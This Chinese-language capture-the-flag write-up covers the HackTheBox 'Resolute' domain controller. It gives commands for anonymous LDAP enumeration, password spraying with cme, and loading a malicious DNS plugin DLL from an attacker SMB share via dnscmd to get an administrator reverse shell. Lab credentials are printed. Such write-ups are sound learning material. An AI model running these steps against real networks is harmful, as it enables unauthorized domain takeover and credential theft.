hackthebox-220-resolute

hackthebox resolute

resolute

port scan

使用rustscan做端口扫描,发现存在139,445,389等端口开放。

services

使用windapsearch对ldap服务进行枚举,枚举用户、组、以及全量信息。

1
2
3
4
5
6
7
8
9
mod="users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="user-spns"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="privileged-users"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="metadata"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="groups"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="domain-admins"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="computers"; windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"

windapsearch --dc '10.10.10.169' -u '' -p '' --full -m "custom" --filter "(&(objectClass=*))" | tee custom.all.txt

windapsearch enum ldap

对检索出的信息,进行过滤查看,以常见关键词进行过滤,发现Account description中存在密码Welcome123!

1
cat custom.all.txt | rg -iaP "((pass)|(pwd)|(cred)|(desc))" | rg -ivP "((badpwdcount)|(badpasswordtime)|(pwdlastset))" | rg -iaP "((pass)|(pwd)|(cred)|(desc))"

filter windapsearch result find password

发现密码后,根据密码找到此密码对应到哪个用户。

1
cat custom.all.txt | rg -B7 -A30 -iaP "welcome123"

windapsearch find password

找到marko / Welcome123!凭据。根据此凭据先尝试登录(不成功),使用cme查看密码策略, 发现没有设置锁定策略。

1
cme smb '10.10.10.169' -u '' -p '' --pass-pol

没有密码锁定策略,可以尝试密码喷洒, 得到可登录凭据melanie / Welcome123!

1
cme smb '10.10.10.169' -u './megabank.local.users.txt' -p 'Welcome123!' --continue-on-success

cme password spray

foothold

使用evil-winrmmelanie / Welcome123!凭据登录目标。 melanie foothold

priv esca

一番枚举后,发现根目录下存在隐藏目录PSTranscripts,其中存在pwsh 执行历史记录,包含登录凭据。

enum file system find hidden dir PSTranscripts enum file system PSTranscripts find hidden dir 20191203 enum file system PSTranscripts find pwsh history

在pwsh历史记录中,发现ryan的凭据ryan / Serv3r4Admin4cc123!find ryan password

尝试使用ryan / Serv3r4Admin4cc123!登录winrm(成功),可以再次尝试密码喷洒。

一番枚举,发现ryan用户归属于DnsAdmins组,因此可以尝试添加Dns plugin的方式,使得恶意插件启动,从而提升权限。 ryan is in DnsAdmins group 参照esca priv with dnsadmins group active direcotry文章, 制作dns恶意插件,由于启动进程后,执行反弹shell连接,会导致插件停止继续运行,shell不稳定,可以使用多线程编程,可以使得 reverse shell在单独的线程中,不会影响dns服务运行,导致服务异常停止,shell不稳定。
根据dim0x69/dns-exe-persistance插件模板,以及cpp rev shell 制作恶意dns plugin.

dns plugin: dns exe persistance cpp rsh

监听对应端口,等待反弹shell.
启动smb share, 托管恶意插件,然后在目标机器安装插件,并重启dns服务,让插件启动,应该可以得到反弹shell.

resolute impacket smbShare no password

执行命令,加载dns plugin,并重启dns服务。

1
dnscmd resolute.megabank.local /config /serverlevelplugindll \\10.10.14.22\share\dnsAplugin.dll; sc.exe stop dns; sc.exe start dns;

install dns plugin: dnscmd

监听端口处,得到反弹administrator shell,由于目标是域控,则得到了域管权限.

dns plugin thread administrator reverse shell

post

尝试使用impacket-secretsdump获取所有域用户的凭据。

作者

cSan

发布于

2023-09-01

更新于

2023-09-01

许可协议